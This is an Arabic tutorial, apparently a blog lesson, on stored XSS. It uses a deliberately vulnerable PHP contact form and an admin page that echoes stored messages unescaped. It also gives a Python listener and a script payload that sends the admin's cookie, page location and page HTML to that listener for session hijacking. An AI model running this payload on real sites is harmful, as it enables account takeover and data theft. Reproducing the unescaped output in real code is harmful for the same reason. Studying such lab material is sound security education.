الدرس الثاني : ثغرات ال stored XSS مع بعض الأفكار
مواصلتاً لشرح ثغرات ال XSS سنقوم بشرح ثغرة ال stored XSS مع كتابة بعض السكربتات لفهم بعض الأفكار و فهم طريقة عمل بعض الأدوات
السلام عليكم
بدأنا سلسلة لتعليم ابرز ثغرات الويب و كيفية حدوثها و طرق التعامل معها و الإستفادة منها ، بدأنا بثغرة ال reflected XSS و سأقوم اليوم بشرح نوع آخر و هو ال stored XSS
مهم :
قبل ما ابدا بشرح الثغرة حاب اوضح نقطة مهمة : في تطبيقات الويب عندنا نوعين رئيسيين من الثغرات :
١- server side
٢- client side
في الحالة الأولى الexploit راح يشتغل على ال server و بالتالي الهدف المباشر في الإستغلال هو ال server .
في الحالة الثانية ال exploit راح يشتغل على ال client في حالتنا حنا نتكلم عن المتصفح.
ثغرات ال XSS هي ثغرات client side يعني ال exploit راح يشتغل على متصفح الزائر/مدير النظام / ... الخ لكن اللي يهمنا انه راح يشتغل على متصفح او webview اللي هي في الاخير embeded browser عموماً ما علينا راح ابدأ الشرح بإعتبار انك شفت الشرح الأول ، في حالة كنت ما شفت الشرح الأول تقدر تشوفه عن طريق الرابط هذا :
Reflected XSS
في حالة ال reflected XSS ترتيب الأحداث بيكون بالشكل التالي :
١- المهاجم يدخل ال exploit في ال input المصاب و يرسل ال request .
٢- ال server يستلم الrequest و يتعامل مع المدخلات بعدها يرسل ال response .
٣- الresponse اللي راجع من السيرفر راح يكون فيه HTML,Javascript ... الخ حسب العناصر الموجودة في الresponse لكن حنا متأكدين من ال javascript لاننا دخلنا javascript code في ال input المصاب.
٤- المتصفح راح يستلم الكود و يسوي له parsing و بعدها يشتغل ال javascript code اللي دخله المهاجم.
نلاحظ انه العملية ما فيها حفظ في قاعدة البيانات و عشان كذا تمت تسميتها reflected لان المدخل يروح للserver و يرجع لل client بدون ما ينحفظ في قاعدة البيانات فاللي حاصل هو ان المهاجم يعطي مدخل و السيرفر يرجع له المدخل بطريقة ما بدون ما يكون فيه فلترة صحيحة تمنع الثغرة هذي.
في حالة ال stored XSS ترتيب الاحداث راح يكون كالتالي :
١- المهاجم يدخل ال exploit في ال input المصاب و يرسل ال request .
٢- ال server يستلم الrequest و يتعامل مع المدخلات بعدها يدخل قيمة ال input المصاب في قاعدة البيانات بعدين يرسل ال response ، الجميل في الموضوع هنا انه ممكن الصفحة اللي فيها الإدخال ما تكون هي الصفحة اللي يشتغل فيها ال exploit يعني مثلاً دخلت موقع و لقيت contact us form و ال form فيه حقل او اكثر مصاب لما تدخل البيانات الاستغلال ما راح يشتغل عندك في الصفحة ، راح يشتغل في لوحة التحكم (في حال ما كان فيه فلترة صحيحة للمخرجات) و بالتالي ممكن يتم استغلال الثغرة بدون الحاجة لل social engineering على عكس ال reflected XSS .
٣- ال client يدخل الصفحة المصابة (الصفحة اللي راح تعرض ال input بدون ما تتعامل معه بشكل صحيح).
٤- المتصفح راح يستلم الكود و يسوي له parsing و بعدها يشتغل ال javascript code اللي دخله المهاجم.
نلاحظ انه هنا ممكن ال exploit يتم ادخاله اليوم و يشتغل بعد سنة على عكس ال reflected ، ايضاً في حالتنا هذي ممكن يتم استهداف اكثر من شخص واحد على عكس ال reflected XSS.
صورة توضيحية :
نجي للجزء الجميل ( التطبيق العملي ) :
كنت أجهز لمثالين ، واحد فيه تخطي فلترة لكن الدرس صار طويل ، راح احط امثلة لتخطي الفلترة في درس منفصل إن شاء الله.
عندنا موقع و فيه contact us form ، لما الزائر يرسل ال request راح يراجع واحد من ادارة الموقع الرسالة اللي جت من الزائر ، بما ان الرسالة في لوحة تحكم الموقع معناها ممكن نجرب معنا مع كم ثغرة لكن من باب اننا ما نشتت انفسنا بنكمل على الثغرة اللي نبي نتكلم عنها و اللي هي ال stored xss ، حالياً حنا ما نعرف مسار لوحة الإدارة و ما عندنا معلومات كافية ، بس راح نجمع كمية حلوة من المعلومات لو كانت الثغرة موجودة و في المثال الجاي راح يبين معنا شوي من جمال ال XSS !
الكود لصفحة اتصل بنا هو كالتالي :
<?php
require_once('con.php');
if(!empty($_POST['title']) && !empty($_POST['title'])){
$title = $_POST['title'];
$content = $_POST['content'];
$q = $link->prepare("INSERT INTO contact(title,content) VALUES(?,?)");
$q->bind_param("ss",$title,$content);
$q->execute();
$q->close();
}
?>
<html>
<head>
<title> bad coded website </title>
</head>
<body>
<form action="#" method="POST">
<input type="text" name="title" placeholder="title" /><br /><br />
<textarea name="content" placeholder="tell us anything"></textarea><br /><br />
<input type="submit" value="Send !!"/>
</form>
</body>
</html>
طبعاً الكود مفقع و هذا من الاشياء المفيدة لما تفحص موقع ، لانه اذا الكود مضروب معناها المبرمج في الغالب مبتدئ و مو قاعد يتبع ال best practices و هذا بيسهل الشغل عليك.
الكود باختصار بيشيك اذا كان جايه POST request راح يخزن الداتا اللي جته (طبعاً راح يشيك اذا كانت الحقول فاضية او لا) ، طبعاً هذا هو الform المتواضع حقنا (اعتبروا فيه تصميم جميل و محتوى 😂)
حلو نشوف صفحة ال admin ، هذا هو الكود المستخدم في صفحة الآدمن :
<html>
<head>
<title> bad coded admin panel</title>
</head>
<body>
<a href="some/path">some interntal link</a>
<br />
<a href="some/path">some interntal link2</a>
<br />
<a href="some/path">some interntal link3</a>
<br /><br />
<table border="1">
<tr>
<td> title </td>
<td> content </td>
</tr>
<?php
require_once('con.php');
$q = $link->query('select * from contact') or die(mysqli_error($link));
while($r = mysqli_fetch_assoc($q)){
echo "<tr><td>".$r["title"]."</td><td>".$r["content"]."</td></tr>";
}
?>
</table>
</body>
</html>
و هذا هو شكل الصفحة :
طيب ما راح ادخل في تفاصيل طريقة الكشف لانها مثل ال reflected XSS لكن الفرق انها مخزنة في قاعدة البيانات و بالتالي فال exploit مثل ما قلنا ممكن يشتغل على اكثر من جهاز. ال exploit اللي راح نكتبه الحين راح يسوي التالي :
يجيب لنا مسار لوحة التحكم ، يجيب لنا ال HTML code للصفحة اللي داخلها ال admin او الشخص اللي اشتغل عنده ال exploit و طبعاً ال session اذا موجودة.
مسار لوحة التحكم اتوقع واضح ليش نحتاجه ، ال html code ممكن يفيدنا في اشياء كثيرة ، (مسارات لمجلدات جديدة او مسارات لصفحات ممكن تكون غير محمية ... الخ
ال session عشان نسوي session hijacking ، لكن في حال ما ضبط الموضوع معنا و ال session بطريقةٍ ما expired راح تكون عندنا معلومات جيدة عن الهدف.
طيب عشان نستلم المعلومات برمجنا script صغير بال python يستلم الrequest و يعرضه على ال console.
هذا هو كود ال python
import socket
host = ''
port = 8899
s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
try:
s.bind((host,port))
except socket.error as e:
print(str(e))
print('Listeneing on '+str(port)+'[*] \n')
s.listen(3)
conn, addr = s.accept()
data = conn.recv(65536)
print(repr(data))
s.close()
شرح سريع للسكربت :
راح نستخدم مكتبة ال socket عشان كذا سوينا لها import ، ال host تركناه فاضي و هذا معناه اننا راح نستخدم كل اي interface متوفر ، ال port اللي راح نستلم عليه الاتصال اخترت الport هذا لانه غير مستخدم عندي طبعاً انت تقدر تستخدم اي port فاضي عندك مو لازم هذا ال port
بعدها ربطنا ال socket اللي سويناها بال host و ال port اللي عرفناهم في البداية
بعدها بدينا نسوي listening على ال port اللي اخترناه (في حالتي 8899) و قلنا له اننا نقدر نستقبل ٣ اتصالات في نفس الوقت اي عدد اكبر من كذا ارفضه طبعاً تقدر تخليه ١ او عدد ثاني يعتمد على الحالة اللي عندك. بعدها طبعنا ال data اللي استلمناها و قفلنا الاتصال.
حلو حالياً راح ندخل في ال input المصاب الكود هذا :
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST','http://127.0.0.1:8899');
xhr.send(document.cookie+' -- -'+document.location+' -- -- -- '+document.head.outerHTML+document.body.outerHTML);
</script>
نشرح ال exploit اللي سويناه :
سوينا اتصال جديد و قلنا له اننا راح نرسل post request و اعطيناه ال destination (اللي هي ال listener اللي برمجناه بال python)
طلبنا منه يرسل ال cookie (عشان نسوي session hijacking) و طلبنا مسار الصفحة المصابة (نقدر نطلع منها مسار لوحة التحكم) و طلبنا كود الصفحة المصابة.
الexploit بالصور راح يكون كالتالي :
اول شي نشغل ال listener
بعدها ندخل ال exploit في ال form
بعدها مدير الموقع يدخل يشيك على الرسائل اللي وصلته و ولدنا يسرق اللي طلبناه منه 😂:
نلاحظ انه ال listener جاه ال user-agent و جاه كم هيدر ثاني و جاب طبعاً ال PHPSESSID و جاب المسار اللي فيه الصفحة المصابة و لو تلاحظون نهاية الصفحة بتلقون الexploit اللي كتبناه 😂
أعتذر عن أي تقصير ، لكن الموضوع متعب شوي و ما تعودت اسوي دروس 😅
اعتذر عن اي تقصير.
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !